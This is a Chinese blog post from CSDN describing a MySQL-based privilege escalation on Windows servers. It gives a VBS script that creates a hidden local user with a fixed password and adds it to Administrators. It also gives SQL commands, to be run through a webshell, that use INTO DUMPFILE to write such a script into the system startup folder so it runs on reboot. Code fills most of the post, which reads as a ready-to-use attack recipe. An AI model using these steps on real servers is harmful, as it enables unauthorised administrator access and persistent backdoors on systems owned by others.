Mysql 开机启动项提权

最新推荐文章于 2024-10-12 11:18:57 发布

FLy_鹏程万里

最新推荐文章于 2024-10-12 11:18:57 发布

阅读量542

点赞数

本文链接：https://blog.csdn.net/Fly_hps/article/details/117675948

版权

Mysql 专栏收录该内容

2 篇文章 1 订阅

订阅专栏

本文介绍了如何利用Mysql在Windows系统中创建后门，通过VBS脚本提权，并详细讲解了两种提权方法：一是直接写入启动目录，二是通过MySQL执行VBS脚本。此外，还提及了重启服务器的方法以及权限需求和注意事项。

摘要由CSDN通过智能技术生成

提权原理

利用Mysql，将后门文件写入开机自启动项，同时因为是开机自启动，再写入之后，需要重启目标服务器(这个要求mysql的权限就很高，至少是管理员权限，甚至是system)，该实验只能在windows中使用。

提权方式

第一种：如果" C:\Documents and Settings\All Users\「开始」菜单\程序\启动 "目录存在可读写的权限，那么我们可以直接将VBS提权脚本上传到该目录下！

setwsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os)
Setoe=GetObject(os&"/Administrators,group")
Set od=ob.Create("user","secist")
od.SetPassword "secist.com"
od.SetInfo
Set of=GetObject(os&"/secist",user)
oe.add os&"/secist"

将以上代码保存为 .vbs 后缀的文件上传即可！

第二种方式：通过大马的MySQL执行功能，利用SQL命令来进行VBS脚本的创建及添加

create table secist(cmd text);
insert into secist values("set wshshell=createobject(""wscript.shell"")");
insert into secist values("a=wshshell.run(""cmd.exe /c net user secist secist.com /add"",0)");
insert into secist values("b=wshshell.run(""cmd.exe /c net localgroup administrators secist /add"",0)");
select * from secist into dumpfile "C:\Documents and Settings\All Users\「开始」菜单\程序\启动\secist.vbs";

成功执行以上命令后，只要管理员重启了服务器，我们就可以成功提权了！